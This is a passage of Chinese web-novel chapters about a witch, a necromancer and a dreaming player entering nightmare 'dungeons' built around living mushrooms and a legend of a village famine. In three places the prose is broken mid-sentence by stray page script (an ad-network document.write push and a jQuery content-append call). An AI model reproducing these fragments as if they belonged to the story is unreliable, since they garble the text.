两人先后考上新唐公共安全大学,高悬放弃火车司机的小梦想,选择了侦查学专业,而他身体素质非常一般,能选择的唯有以脑力取胜的云端防控专业。 对于郑颢这样一个先天残疾的孤儿来说,他与古堃安全署高探长的掌上明珠,所有交集只能到此为止—— 任何多余的话,永不可言说。 甚至不如一只可以在枝头放声悲鸣的卑蜒。 秦正泽高中没读完,就在古堃郊区的环山公路飙车出了车祸,变成植物人。 秦正浩是秦焱跟一个十九岁小助理的私生子。为了掩人耳目,长达二十年的时间里,秦总督对她们母子二人不闻不问,形同陌路。 同样是人类,可有的人冷血如蛇蝎,有的人却怀着一颗炽热而忠贞的心,甘愿以静默宣誓,将余生虚掷于一场万劫不复的交易。 布兰奇垂眸看着那列小火车,忽然想起1号噩梦之主阿斯蒙蒂斯的话: 【你离开的时候,有一个人类——他献祭了自己最珍贵的一切,祈求吾能将你复活。】 可她是亡灵法师,是来自魔法世界的永生族裔。从未死亡,又如何“复活”? “玛菲,他那时候献祭的,究竟是什么?”布兰奇的尾音似乎有点颤抖。 32. 2号副本 岑小哉显然知道答案,但就连她也犹豫着,不知道该如何开口。 “告诉我,玛菲。” 骷髅小猴跳上主人肩头,龇着两排米粒般的獠牙,无声嘶吼着——直到女巫露出一个类似牙疼的表情: “阿斯蒙蒂斯夺走了他的天赋和勇气,以及关于‘高悬’的全部记忆。” 从万里挑一的天才沦为庸碌无能的凡人,只需要一场纯属愚弄的献祭。 而当亡灵法师被重新召唤到人类世界的时候,郑颢终于从噩梦之主手中拿回了自己被夺走的躯体和记忆。 “所以,现在他忘记的只是亡灵法师布兰奇,却还记得‘高悬’。” 布兰奇眉宇间有着明显的担忧。她将哒卡从肩上摘下来,抚摸着亡灵宠物光滑的小颅顶。 “如果阿斯蒙蒂斯再以此为饵去引诱他,那该怎么办?” 女巫坐直了身体,正要回答,两只小小的不明飞行物忽然从墙上的壁画魔法阵里冲出来,将她重新扑倒在沙发上。 “嗷!”岑小哉一声惨叫。 “喵呜喵呜喵呜——” 刚刚睡醒因此活力无限的砂糖橘和小菠萝踩在主人脸上轮流高歌。 场面一时间混乱并有些失控。 为了继续这场谈话,女巫不得不挣扎着脱离三花小猫咪们的魔爪,爬起来捏出个透明泡泡。 接着,她随手从头发里抓了几点金光,往里面一塞。 脱离了猩红色尖顶帽的禁锢,那些微弱金光在泡泡里悠闲游弋不到三秒,倏地暴涨起来,变成好几颗四处疯狂乱窜乱撞的赤金色竖瞳状眼球。 囚禁着这些古怪眼球的透明泡泡一下子溢满刺眼的金色强光,被撞得一飞冲天。 两只小猫你一句我一句地喵起来,立刻追着泡泡囚笼跑开了。 “问题不大。”岑小哉长舒了一口气,无力地摆了摆手。 “阿斯蒙蒂斯已经失去所有魔力,无法再对副本世界产生影响,就算郑颢曾是被祂选中的祭品也无济于事。” 亡灵法师带着她的小宠物返回圣萨罗斯学院参加奇点考核之前,在女巫的水晶球投影里再次看到了冯筱迁。 她坐在一个十三四岁的女孩身边,正在教那女孩写毛笔字。 纸上写的是一首《茉莉花》:“冰姿玉骨净尘烟,南国携来种自妍。花史高名空第一,只今谁识藐姑仙。” 女孩放下笔,很兴奋地指着“自妍”两个字:“姐姐你看,这首诗里面有我的名字耶。” “对啊,你的名字就是从这首诗里取的。”冯筱迁笑着点了点头,另拿了一张纸,写下了端端正正的“冯筱迁”、“冯自妍”两个名字。 这时,门铃忽然响起来。 “一定是莉莉姐来了,她从昨天晚上就念叨着说要过来吃火锅。”冯自妍当即就要跑出去开门。 “是你的晓芊姐姐,因为你莉莉姐来了是不会按门铃的,她只会在地下车库就直接打电话叫咱们开门恭迎圣驾。” 女孩欢呼一声,脚上的小鳄鱼毛绒拖鞋都没穿好,直接冲出了房间。 投影暂停,画面到此结束。 亡灵法师忍不住问道:“玛菲,我记得冯筱迁是独生女。所以,冯自妍是她的堂妹?” 女巫摇了摇头。 “噢,这个女孩其实是许晓芊十岁那年被送走的亲妹妹许晓茉。” 布兰奇一脸震惊:“许家那时候穷到连这么个小孩都养不起?” 女巫又摇了摇头。 然后,她缓缓露出一个虎鲨般的冷笑: “当年的卤煮店生意兴隆,怎么会养不起孩子,只是不想再多养一个他们口中的‘赔钱货’罢了。” 至于那个才刚满一周岁的小女孩,被送到陌生的家庭里,有可能会遭遇不好的对待—— 他们才不会去考虑那么多。 哪怕拿到了六千元的“补养费”,许家也只嫌太少。 显然,在当初那场入学考试当中,作为亡灵法师首席学徒的布兰奇·X·卡奥并没有在人类世界真正领略到什么叫做“人心险恶”。 她甚至还有点天真地认为,这种将亲生子女当作物件随意赠送、买卖的事情,已经算得上是个恐怖故事。 “我说布兰奇,你真的要以这样患得患失的心态,去参加诺特教授为你们量身打造的奇点考核吗?” 岑小哉脸上的虎鲨之笑继续扩大,看起来就是一个非常典型的童话故事反派。 哒卡再次龇牙,布兰奇下意识双手拢住了她的骷髅小猴,却对女巫的问题装作没听见: “那个,我还想知道,脱离了崩坏历史线之后,1号副本里其余的那些……那些角色,她们后来的人生轨迹,到底是怎么样的?” “秦正浩、杜倩倩、刘麓诚,”岑小哉掰着手指头数出几个名字,“——都死了,后两个依然死于胡炯烽的谋杀。” 亡灵法师静静看着她,等待下文。 岑小哉眨了眨眼睛,继续掰手指头:“许晓芊即将创造出SWAN,魏笑纤现在是古堃实验学校新校区的校长,冯筱迁跳槽之后已经晋升为部门总监,她还以自己父母的名义收养了许晓茉。” 骷髅小猴漆黑的眼眶里面逐渐升起两簇幽幽鬼火。 “好好好,我说我说,”某个女巫终于举手投降,“你妹妹成了古堃区刑侦支队的队长,知了猴成功找回他的天赋,现在进了古堃安全署给你妹打下手。” “那,高照呢?” “跟他爸决裂之后,白手起家,开了个专门运输水果的物流配送公司。” 说完之后,岑小哉口干舌燥,正打算来一杯柠檬苦瓜汁润润喉,谁知亡灵法师和她的亡灵宠物还是目光炯炯地盯着自己。 “干嘛?” 女巫被她俩盯得后背发凉。 布兰奇:“还有那个小孩。” “我说过,杜羽风是个好孩子。虽然她与自己的亲生父亲一辈子都不会知晓彼此的存在,但这个女孩最终会一定成长为她自己最满意的样子。” 对着亡灵法师絮絮叨叨的同时,岑小哉不知从何处掏出了那只被冰封起来的火箭蝶,此刻它连带着冰块的高度已经从三米缩减为三厘米,非常便于携带。 “一个人参加奇点考核太辛苦了,带上这个吧。” 布兰奇与哒卡面面相觑。 “玛菲,你的意思是?” “火箭蝶拥有不受限制的时空跃迁能力,必要的时候你可以释放它来向我求援。” … 亡灵法师最终左肩上蹲着一只骷髅小猴,右手上托着一块冰封火箭蝶,黑着脸离开了女巫的地盘。 曼陀罗星系号称“灾厄频发之地”,自然不可能让自己的居民一直保持这种成功戏弄了“死对头”的愉悦心情。 正当岑小哉伸了个懒腰,打算动手解剖——呃,或者说以合理的医疗手段审问那只八目莲蓬蟾蜍的时候,天上那个被乌云浓雾包裹起来的巨型“蚌壳”悄悄打开一条细.缝,伸出了庞大而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 粘腻的黑色触角: 【饥饿。】 【食物。】 【美味。】 【进食。】 整个曼陀罗星系都回荡着这四句不祥的呓语。 女巫快如一道闪电,直接拎刀窜上了天空,甚至忘记自己另一只手还倒提着那只正在诈尸的八目莲蓬蟾蜍。 与此同时,婴儿梦境花园隔壁的电子怪兽园区隐隐震动。 “嗷呜——” 一声悠长的狼嚎从园区角落里某座灰色小山丘冲天而起,成功搅乱了那阵令人不适的呓语回音。 “苍极学姐,你终于醒啦?”岑小哉百忙之中扭头打了个招呼。 一道足以淹没整个“蚌壳”的炽热火焰从她刀锋上劈出,直直斩向那个漆黑触角。 缠绕在噩梦矩阵周围的部分乌云与浓雾被火焰烧灼成团团白汽,而它的真身显然并没有什么损伤。 “格老子滴!是哪个龟儿孙一直在喊饿?” 那座灰色小山丘缓缓转身,露出一颗五米高的狼头。就算是从百米高空中俯瞰,也能清晰看见她满溢着起床气的狰狞面目。 “小哉你让开,我来!” 名副其实的大灰狼怒吼一声,从地面一跃而起,掀起滚滚烟尘。 岑小哉赶紧往远处撤退。 就在苍极扑上去撕咬那个触角的时候,魔法书虽未出现,它有气无力的夹子音却幽幽飘过岑小哉耳边—— 【尊敬的主人,告诉您一个坏消息:2号噩梦之主提前醒来了。】 “饥饿?暴食?”女巫一把将魔法书从虚空中拽出来,“祂是别西卜?” 魔法书很平静地掀动自己有些黯淡的封皮,表示点头之意。 现如今这位“尊敬的主人”对待它是越来越粗暴了,大概是成功脱离了1号副本之后,她终于彻底暴露自己的真面目,再也没有半点愿意听从伟大的《诸禅四十二世魔法书》忽悠……哦不,听从它引导的耐心。 【我们已经获得“笔仙寄身之笔的全部碎片”,接下来在2号噩梦副本当中,需要留意的就是“乱葬岗鬼火”了。】 “七煞阵祭坛里面的那种鬼火吗?” 岑小哉瞅准她苍极学姐与邪恶触角搏斗的间隙,飞速凑近又挥出一刀,这次成功将噩梦矩阵的真身砍出一声浑浊咆哮。 魔法书飘飘摇摇地跟在女巫身后,沉吟了片刻,道:【理论上,应该要比那种鬼火更加凶残一些。】 “那么问题来了,我们现在到底应该怎样才能开启2号副本?!” 【献祭,或者说投食。】 女巫倏地转头,以一种不是很友善的眼神打量着魔法书,似乎在考虑将它祭出去的可能性。 “嗷!” 大灰狼死死咬住了那只触角,“蚌壳”中却突然伸出另一只触角,猝不及防地勒住了她的脖颈。 苍极的脑袋就要被拽进噩梦矩阵里面,岑小哉无法再继续犹豫下去了。 她将手里的八目莲蓬蟾蜍往上一抛,另一只手如同打棒球般抡起那把斩.马.刀。 “呱——”八目莲蓬蟾蜍被刀身打出一道褐色抛物线,最终“啪”地撞入微微张开的“蚌壳”缝隙中。 触角们忽然顿住。 下一秒,它们松开了那头大灰狼。 苍极跌向地面的同时,从噩梦矩阵里面再次漫延出来的乌云与浓雾冲向了祭品来源—— 女巫握紧了她的斩.马.刀,随即与那本魔法书一起被淹没其中。 33. 玩家有毒 前面是一片漆黑,后面也是。 此刻,岑小哉被困在一条长到仿佛没有尽头的甬道中间。 甬道的地面以及两边墙壁上,全部覆盖着一层厚厚的孢子粉末,根本无法分辨孢子底下是什么建筑材质。 而且在这条甬道里面,她竟然无法召唤出“魔法扫帚”用于飞行,只能靠两条腿走路。 不知道走了多久后,女巫拐进了一个死胡同,角落里只有一丛长势喜人的彩色蘑菇。 她双手叉腰瞅了半天,那丛蘑菇以一种非常温柔贤淑的姿态不断向外吐出孢子,与其五彩斑斓的妖艳外表形成了鲜明对比。 女巫清了清嗓子,很有礼貌地掏出自己的坩埚,对它们说道:“蘑菇,请进锅。” 五彩蘑菇们除了继续吐孢子之外,呆在原地纹丝不动。 “真是敬酒不吃吃罚酒啊。”岑小哉嘟囔了一句,往前迈了两步,一把薅起那丛蘑菇直接怼进了坩埚里面,全程不超过三秒钟。 以至于蘑菇们完全来不及作出任何反应。 离开那个死胡同后,女巫又回到了长长的甬道中间。 后面是一片漆黑,前面也是。 很明显,这是一座巨大的迷宫。 但她为何不得不继续往前走呢? 因为在被卷进这个副本的时候,魔法书又说出了一个更坏的消息—— 提前醒来的2号噩梦之主别西卜虽然愚蠢,却实在恶毒。 祂吞食了那只原本不死不灭的八目莲蓬蟾蜍,同时以它曾经的记忆为模板,构筑了一个陷阱,专门针对女巫这个入侵者。 “哦,什么陷阱?”岑小哉打了个哈欠,不怎么有兴趣地问道。 【初步判断,我们所在的迷宫应该是某种‘拟态静止场’。】 静止场?女巫心想,听起来就很耳熟。 魔法书继续说道:【2号噩梦之主从副本世界当中开辟出这个独立空间,您将被关在这里,直到魔力耗尽,或者该副本的所有能量被祂吞噬殆尽,彻底崩溃。】 女巫第一时间对万恶的资本家表示质疑:“怎么滴,你们公司的内置指令难道还不止一个?” 魔法书恹恹叹了口气:【您如果不信,可以试着感受一下自己魔力的影响范围。】 于是岑小哉双掌相对,搓出一个大火球,倏地抬手直直抛向头顶。 火球一飞冲天,隐约照亮了甬道两边墙壁,高处依然覆盖着无数孢子粉末,却连附着了魔力的火焰也无法将它们点燃。 而大火球渐渐在顶端化为微不可见的橘黄色小点—— 最终,它消失在无尽黑暗中,一去不回。 漆黑的甬道中只剩下女巫那双赤金竖瞳在闪闪发光。 一片死寂当中,岑小哉忽然想起,就在第二次进入噩梦矩阵的同时,她似乎有听到,无限糟糕引擎发出了一阵轰鸣…… 女巫当即发誓,再也不敢贪小便宜从盲蛇集市购入二手货了! “传说中那个非常先进的智能导航系统啊,请你告诉我,现在到底该往哪里走?”她的声音飘忽,有种大梦初醒还没反应过来的茫然。 魔法书听见了,但它选择装死。 岑小哉折腾了一路,又渴又饿,干脆在甬道里“落地生根”。 她火速摸出自己的坩埚,将刚刚获得的那丛彩色蘑菇,还有一些奶油和芝士碎全部丢进去,又掏出几颗火焰宝石,触发符文点起火堆,开始煮汤。 【尊贵的主人,您即将食用的是七朵活蘑菇。】 这时,魔法书不装死了,它又开始用那种妖里怪气的夹子音对岑小哉进行叭叭:【按照2号副本世界的基本法则,“活人吃死去的蘑菇,活蘑菇吃死去的人”。】 “所以?”岑小哉挑了一下左边眉毛。 【您不能食用这些活蘑菇。】 “滚你牡的!”女巫一声怒吼,终于失去了所有耐心,“我偏要吃,还要大嚼特嚼地吃,我就不信它们还能变成厉鬼来找我复仇!” “救命啊!有人杀蘑菇啦!”锅里的汤突然沸腾起来,并发出一阵惨叫。 甚至是在整条甬道里三百六十度环形回绕。 【恭喜您回答正确,它们的学名叫做——“冤魂野鬼蘑菇”。】 “……” 蘑菇汤上方飘荡着一股青烟,逐渐幻化成人形。它们扭曲着形体,忽上忽下,持续尖叫。 “呜呜,不能吃我们!” “我们是活蘑菇,活蘑菇不可以吃的!” “可以,但我需要一个更有说服力的理由。”女巫面无表情地托着腮,继续搅拌坩埚里的汤水。 “我们,我们有毒!” “活蘑菇有毒,吃了一口,就会很想要再吃第二口!” “没得吃了就会死掉,变成死去的人。” “好吃,嘿嘿。死去的人好好吃,活蘑菇最喜欢了。” 岑小哉的动作蓦地顿住。 根据这些“冤魂野鬼”的描述,她忽然想起了1号副本里面的胡家兄弟。 那只八目莲蓬蟾蜍肚子里面藏着的,就是这种“活蘑菇”? 它们还声称自己喜欢吃死人。 刚好七煞阵里面,就有七具衣衫褴褛的干尸。 那么问题来了,干尸们原本作为凡人的时候,到底是在哪里被抓走的? “‘人失土,土食人……今夜子母共长眠,昨日六亲腹中住’,原来是这么个意思啊。” 女巫脸上缓缓露出一抹让魔法书和蘑菇们不寒而栗的笑容。 “很好,事情开始变得有趣起来了。” 黄德寿绝对不是正统的闽山派弟子,但根据岑小哉的检验,八目莲蓬蟾蜍又确实来自她曾经误入的那个四维坐标。 既然迷宫是根据蟾蜍的记忆所构建,那么迷宫之外的2号副本世界,必然与闽山派、匡山派有关。 就连阿斯蒙蒂斯都能被称为“欢喜尊者”,别西卜这个恶毒的蠢货应该也是把自己扮演成什么邪神魔王,以此来蛊惑凡人为祂举行召唤仪式。 比较糟糕的一点在于,阿斯蒙蒂斯的降临被火箭蝶打断了,但提前醒来的别西卜显然已经获得成功。 那这个2号副本世界,现在究竟会被糟蹋成什么样子? “伟大的圣萨罗斯在上,但愿我出去之后不需要对付满世界互啃脑子的腐烂丧尸。” 女巫下意识觉得有点反胃。 【所,所以,您现在有什么好的想法,或者主意?】魔法书战战兢兢地问道。 它有种预感,自己将会得到一个非常具有攻击性的答案。 岑小哉的笑容和蔼且慈祥,用一种愉悦语气宣布:“我决定,在这里炼制一枚末日级别粒子武器,并引爆它。” 【实际上,这个玩笑一点儿也不好笑。】 “我从不开玩笑。”女巫说道。 同时,她抬手托起一个透明泡泡,里面飘浮着一团细金属钴粉。 自然元素的魔法失效了,那也没关系。女巫还可以借助少许科学的力量——在力度足够的核威慑面前,任何魔法限制都不值一提。 “别西卜,开启迷宫的出口,或者让我炸掉整个副本世界,二选一。” 岑小哉神态自若地颠了颠那个泡泡:“我倒数五秒——二、一。” 她面前的整片漆黑中骤然浮现一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 张地图。 地图上画着一座山。 山下有一个村子,山上也有一个村子,而山后的悬崖下面有一个山洞。 “怎么山上山下都是吉家村?” “不对啊,我让你给出口,你给我一张八竿子打不着的地图,这是什么意思?” “要不我还是把副本世界炸了吧,这样比较简单。” 女巫话还没说完就打算动手。尽管魔法书早已被她玩出了一种处变不惊的境界,但在这种性命攸关的高危时刻,它还是急忙跳出来阻止世界末日的发生。 【2号副本不需要钥匙,但依然需要玩家。】 岑小哉暂时住手,面无表情地等着它组织好语言。 【噩梦之主既然给出了这张地图,那就表示祂愿意妥协。如果您能够协助2号玩家从副本通关,祂会选择向您低头认输。】 “噢,懂了。”女巫很快理解了一切,“就是说,别西卜不想像阿斯蒙蒂斯一样稀里糊涂就被我搞个半死,所以祂处心积虑地祈求一个公平、体面的对战方式,是这样对吧?” 【……也许吧。】 这种动不动就毁灭世界的博弈形式果然还是太高端了,魔法书表示无法理解。 “行,那我就大发慈悲地应战了。”岑小哉满意地点点头。 … 十分钟前,2号玩家出现了。 十分钟后,2号玩家依然停留在原地,即山下的吉家村外围。 她非常清楚自己是在做梦,并且在梦里成为了一名玩家,需要通关一个叫“俱生仙境”的游戏副本。 但问题是,王稻美同学属于那种很有第四天灾潜质的不靠谱玩家,简称“刁民”。 从看到她的第一刻开始,岑小哉脸上就莫名其妙地复刻出与对方完全一致的忧愁表情。 “事情是这样的……算了,甭管事情是怎样,反正你现在的任务就是找出‘俱生仙境’的入口,然后——” “本玩家需要进食。” 王稻美举手发言,打断了女巫的滔滔不绝。 人都在梦里了还要吃什么饭?说哪门子梦话呢? 实际上,那七朵活蘑菇依然泡在坩埚里哼哼唧唧,不过这件事已经被岑小哉忘到了九霄云外。 她恶狠狠磨了磨牙,继续说道:“然后!进去寻找‘生长在死人身上的蘑菇’。” “什么?居然有蘑菇,那是不是能拿来煮汤?”王稻美同学顿时两眼放光。 ……这到底是哪来的大馋丫头? “这种蘑菇具有一定的迷幻效果,换句话说,它们有毒。”女巫语气硬邦邦地回答。 “彻底熟食,安全无忧。更何况我这是在做梦,又不是真的。”原本还在磨磨蹭蹭的某玩家现在变成格外积极起来,“不管了,我一定要喝到蘑菇汤!咱们赶紧走吧!” “……” 你它牡的也有毒! 女巫决定让她见识一下社会险恶。 “玩家进入补给点:‘吉祥农家乐’。” “玩家开启奖励任务:‘和牛吃到饱’。” “哇哦,农家乐还能吃到和牛,真不错啊!”玩家刀妹发出一声欢呼。 她面前出现一张木桌。 桌上摆着好几盆能吃与不一定能吃的植物,而她对面安然伫立着一头大黄牛。 牛在吃草,神态恬静,与世无争。 “啊,和牛?”怎么说呢,这跟她想象中不太一样,甚至完全不同。 王稻美眨了眨眼,试着吃了一口草—— “哐”的一声,食盆被打翻在桌子上。 她直挺挺地卧倒在地上,开始口吐白沫。 34. 变成肥料 “我是人,还是蘑菇?” 花坛边上有一把荧光黄色的大雨伞,底下隐约露出蓝白条纹病号服。有人躲在伞下,不停重复这个问题: “我是人,还是蘑菇?” 天空中铺着一层奶油般绵厚的白云,将太阳遮挡得严严实实,却也没落下半点雨。除了部分防晒狂魔之外,大多数正常人都不会在这种阴凉天气打伞。 更何况,花坛中间还种着一棵枝叶繁茂的大槐树,树根边上甚至潮湿到长出了两朵颤巍巍的小蘑菇。 同样身穿病号服的王稻美单手托着个加大号餐盘,哼着小曲路过花坛,下意识瞥了那人一眼。 走出两米后,她噌噌噌倒退回来,语气兴致勃勃:“叔,你这伞不错,给个链接呗?” 那位叔依然蹲在地上,慢吞吞地转过身,自下而上斜睨着她,冷不丁问道:“你是人,还是蘑菇?” “嗐,是人是蘑菇不都得吃饭嘛,你把链接给我,然后赶紧去食堂吧。今天的烤鸡腿特别香,被我买走一半,剩下的估计也快没了。” 王稻美同学身高一米六二,宽大的病号服穿在她身上,完全可以再塞一个人进去。 “一半?”那个秃头中年人将信将疑,看了她的大餐盘一眼—— 上面起码堆着十几个大鸡腿,摞得还挺整齐。小山般的鸡腿底下,隐约还铺着红烧肉、荷包蛋、炒面片等各种食物。 “这么多东西?你自己能全部吃完?”秃头大叔一脸震惊。 王稻美点点头:“对啊,我待会还准备再泡两桶面下饭呢。” 中年人缓缓瞪大了他那双铜铃眼,就跟见到一朵蘑菇开口说要吃了他似的。当即把伞一丢,撒丫子狂奔逃离现场。 “怪物!有怪物,救命啊!” 那把荧光黄色的大雨伞在地上连翻三个跟头,看起来非常无助。 “哎,怎么还人身攻击起来了,你这叔好没礼貌噻。” 骤然灿烂起来的阳光照在王稻美脸上,她忍不住眯了眯眼睛,最后决定看在大家都有病的份上,不跟那个蘑菇大叔计较。 当年距离她们高考不到五十天,王稻美同学突然罹患严重的神经衰弱,每天都困得魂不守舍,好端端走在路上都会一头栽倒昏睡在地。只能休学一年,复读高三,勉强考了个二本。 谁知到了大三下学期的时候,她的病症复发,大白天的两眼一闭直接从楼梯上滚了下去,磕得头破血流,不得不再次办理休学手续。 打从刀妹她入住广府区的新唐南方精神病院至今两年半,这还是头一回莫名其妙吓跑了陌生病友。 “我不就是饭量大了点嘛,有什么好大惊小怪的。” 随口嘟囔两句后,这位精神病人转身往自己病房走去,正好和新官上任的古堃区刑侦支队队长迎面碰上。 “欸嘿!粒粒,你吃饭了没?今天怎么有空过来,不用值班咩?” 戴队长点点头,垂着眼帘,似乎是在犹豫什么事情:“有个嫌疑人在取保候审期间去世了,我来这边做后续处理。” 两人肩并肩往住院楼走。 有朋自古堃来,王稻美兴高采烈,叽里呱啦地宣布她待会儿回了病房要立刻定个蛋糕,与好友共享一顿愉悦而丰盛的下午茶。 戴玉粒忽然蹙眉问道:“刀妹,你刚刚是在跟谁说话?” “一个秃头大叔,我看他那把伞挺好看的,就想要个链接……结果他居然因为我吃得太多被吓跑了,就离谱!” 王稻美瘪了一下嘴,越想越气,忿忿不平,所以也就没发现戴玉粒此刻的神情微凛—— 她手中那个档案袋里面,就有嫌疑人吉荣发的一张遗照:蒜头鼻、铜铃眼、两道颇具特色的张飞眉,以及寸草不发的锃亮脑门。 他是在做生意时沾染上长生烟。 这种东西有强烈的致幻作用,成瘾性非常大,新唐境内将其列为违禁品。吸食过量的话会损伤神经,最终结果就是瘫痪与疯癫二选一,甚至两者兼具。 倾家荡产的吉荣发为了继续吸长生烟,甚至做起拐卖儿童妇女的勾当,最终也被毒坏了脑子。 戴玉粒带队抓捕他的时候,吉荣发在一个废弃工地里挖了个竖井状的深坑,把自己埋在里面,嘴里还不停念叨:“我是一朵蘑菇,不能吃的活蘑菇。” 因此,他才得以取保候审,被送到新唐南方精神病院接受监管治疗。却还不到半个月,就因为器官衰竭而休克死亡。 接到医院通知,戴队长想到身患怪病的好友,忽然心悸,火速赶来。 可惜还是晚了一步。 很显然,王稻美刚才见到的,正是死去的吉荣发。 幸好她不知道真相,看起来也毫发无伤。 只有戴玉粒心里莫名涌起的一阵阵不安隐约提醒着她:新的“噩梦”,很可能已近在咫尺。 回到王稻美那间自带小客厅的vip病房,戴玉粒第一件事就是去看她的病程记录。 没有任何异常。 该病人除了容易犯困以外,依旧每天食量如牛,力能举鼎。就算末日来临,她也能成功存活到大结局。 可戴玉粒还是有点放心不下:“你最近怎么样,晚上睡得好吗?” “还行,就是昨天晚上做的梦很怪。”王稻美给她泡了杯红茶,下意识打了个哈欠。 “你梦到什么了?” 心大如刀妹,也被她家粒粒过于急促的语气搞得有点紧张。 不过她的注意力很快转移到自己的加大号餐盘以及那堆小山般的食物上,脑子里再没一立方毫米的余地可以用来胡思乱想。 “一只大苍蝇,吃掉了一只蟾蜍。” 王稻美“啪”地坐到沙发上,开始啃鸡腿,一边啃一边回想自己昨晚梦见的怪东西: “那只蟾蜍巨丑无比,它像个正方体,身上长着八个洞,里面好几圈尖牙,还有根舌头。” “也就是说,它长着八张嘴?”戴玉粒捧着茶杯,一双剑眉拧得更深。 “也不完全是嘴,因为每根舌头上都有颗不停骨碌碌乱转的眼珠子。不过,这蟾蜍怪物被那只大苍蝇一口就吞掉了,倒也不是很吓人。” 王稻美啃到第六个鸡腿,忽然间想起了更加恐怖的某件事,脸色蓦地一白—— “最可怕的是在醒来之前,我吃了一口草,然后就被毒死了!” … 迷宫里又长出了一朵蘑菇。 而且是丑得很显眼的荧光黄色。 “喂,会说话吗?”女巫对着那朵黄蘑菇问道。 没得到回应。 她只好看了一眼自己的坩埚。 里面的七朵活蘑菇还在小声抽泣,它们很快惊觉:身边的汤水竟然开始剧烈晃荡! 坩埚一步一步挪到黄色蘑菇旁边停下。 “跟那朵新来的聊聊,要是没套出什么有用的信息,你们就等着一起变熟吧。” 岑小哉用阴沉的语气恐吓完蘑菇们,扭头继续观察面前的那张简陋地图:山下的村子旁边画着一圈长长的篱笆,以此表示吉家村外围。 篱笆外有一个梳着两条羊角 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 辫的火柴人,头顶飘着个鲜红色的感叹号,正躺在地上奄奄一息。 “清醒一点,你只是在做梦,死不了的。”岑小哉通过地图朝2号玩家喊话。 她之前也是这么做的。 这张地图虽然看起来简陋,功能倒是很齐全。 火柴人头上的红色感叹号逐渐变成一个绿色问号,她缓缓坐起身,晃了晃脑袋,两条羊角辫跟昆虫触角似的弹了两下。 王稻美实在想不到,昨晚那个梦不仅很怪,它甚至还是个连续剧! 粒粒急着赶回去上班,没心情吃下午茶,忧心忡忡地走了。而她闲来无事睡个午觉而已,居然又回到了“俱生仙境”这个游戏里。 玩家刀妹叹了口气,觉得有必要问个清楚:“系统?你是我的系统吧?要是我没法通关的话,是不是每次睡着就会被拉进来啊?” 她得到一句相当暴躁的回复: “系什么统,我是女巫!” 金色流光如火焰攀升,将王稻美面前的空气灼出一个长方形窗口。 里面是一片堪比浓墨的黑暗。 有烈火从中凭空烧起,化作一顶猩红色尖顶帽。 “自我介绍一下,我叫岑小哉。”尖顶帽说道。 对于“一顶帽子口吐人言”这种事,王稻美显然接受良好,并且英勇无畏地表达了自己的不满: “嚯,难怪我会被毒死!你个女巫冒充什么游戏系统,就不能好好地当一个npc嘛!” 女巫假装没听懂。 女巫选择无视这个“刁民”的抱怨。 “行了,别磨磨唧唧的,赶紧进村。” 迷宫里已经不再沉寂,黑暗中逐渐产生了一些悉悉索索的细微声响—— 那些孢子正在快速增长。 “进不去,有什么东西挡在我面前,但是又看不见。” 女巫用来捉弄她的所谓补给点“吉祥农家乐”已经消失,王稻美面前明明是一条平整的大路,但她抬起手,却摸到了一层透明屏障,将她阻隔在原地。 百米处的村口大门右侧,一座小庙清晰可见:虽只是小小砖瓦房,但屋顶所用的橘黄色琉璃瓦却在日光照耀之下熠熠生辉。 “该说不说,不愧是基建狂魔。这山旮旯犄角的,居然也有琉璃瓦被运进来。” 王稻美她们家的天峰集团是搞建设工程发迹的,她从会走路开始就被父母带着到处谈生意,耳濡目染,简直是条件反射般地对这些细节感兴趣。 岑小哉:“所以?” “这个吉家村应该还挺有钱的。”大小姐啧啧称奇。 女巫看着地图上的黑白两色简笔画——即那些用三角形和正方形构成的所谓房子,沉思了整整五秒。 她转过身,准备去放火煮蘑菇了。 “来吧,我亲爱的食材们。说说你们获得了什么有效的信息?” 坩埚里再度发出一阵尖叫。 “新蘑菇只有一半!” “一半是死去的人,一半是活着的蘑菇!” “为什么?”女巫点火的手一时顿住。 “它还没有完全‘发育’。” “‘发育’到一半,就被毁掉了!” “变成肥料。” 这都什么乱七八糟的? “算了,你们还是一起变熟得了。”岑小哉向那朵黄蘑菇伸出了魔爪。 然而在被薅起来的同时,黄蘑菇终于开始说话了: “一只蟾蜍八张嘴,八根舌头八只眼。蹦蹦跳跳向后走,头朝地下脚朝天。” 35. 饿胆包天 女巫:“蛤?” “一只蟾蜍八张嘴,八根舌头八只眼。蹦蹦跳跳向后走,头朝地下脚朝天。” 仿佛是担心她们没听清楚,黄蘑菇又强调了一遍。 泡在坩埚里的那些活蘑菇虽然也很智障,但至少不像它这样,声音非常呆板,听起来明显是受到了某种力量的控制。 首先排除2号噩梦之主别西卜。 无论如何,祂都不可能再给自己的对手送来通关信息。 王稻美也听到了这几句话,她疑惑道:“咋滴,难不成要我倒立着走进去?” “或许,你还得参考蟾蜍的运动方式。” 岑小哉给出了一个相当于冷笑话的建议,实际上她还在努力思考着:这条通关信息的力量来源,到底是敌是友? “死了亿亿万万次的蘑菇,生长在死人身上。”黄蘑菇再次一字一顿地说道。 它身上逐渐浮现出黑色的斑点,并且飞速扩大。 “我,我记得这句话!” 胆子比心还大的刀妹难得感受到了一丝惊慌情绪:“我想起来了!高三的时候,也就是七年前,我在梦里听过这句话,一字没差!” 那个梦是一场本可以避免的、荒唐而悲凉的饥荒—— 深山之中,有一片古老的村寨,名为“娞(něi)吉”。 这里的人们身穿青白赤黑黄五色混杂的云纹衣裳,头戴鸦翅雕花银冠,太阳升起的时候她们耕田织布,太阳下山之后便燃起篝火,烹食歌舞。 娞吉大寨这种世外桃源般的生活持续了百年,终结于一个外姓男人的到来。 那个人叫黄丹庚。 他声称自己三百年前因为机缘巧合偶然进入仙域,现在云游到此,要授予他们“长生”的术法。 在黄丹庚的撺掇下,娞吉大祭司和她的姐妹、儿女们都被族人抓进地窖里,用铁链吊在墙上活生生饿死。 地里即将结穗的稻禾全部拔掉,漫山遍野全部种上了山丝苗与艳丽的米囊花。这些植物不能食用,但黄丹庚说他要用来炼制丹药,吃了就能长生不老,像他一样与天地同寿。 然而天地不仁,岂能允许凡人的妄想成真? 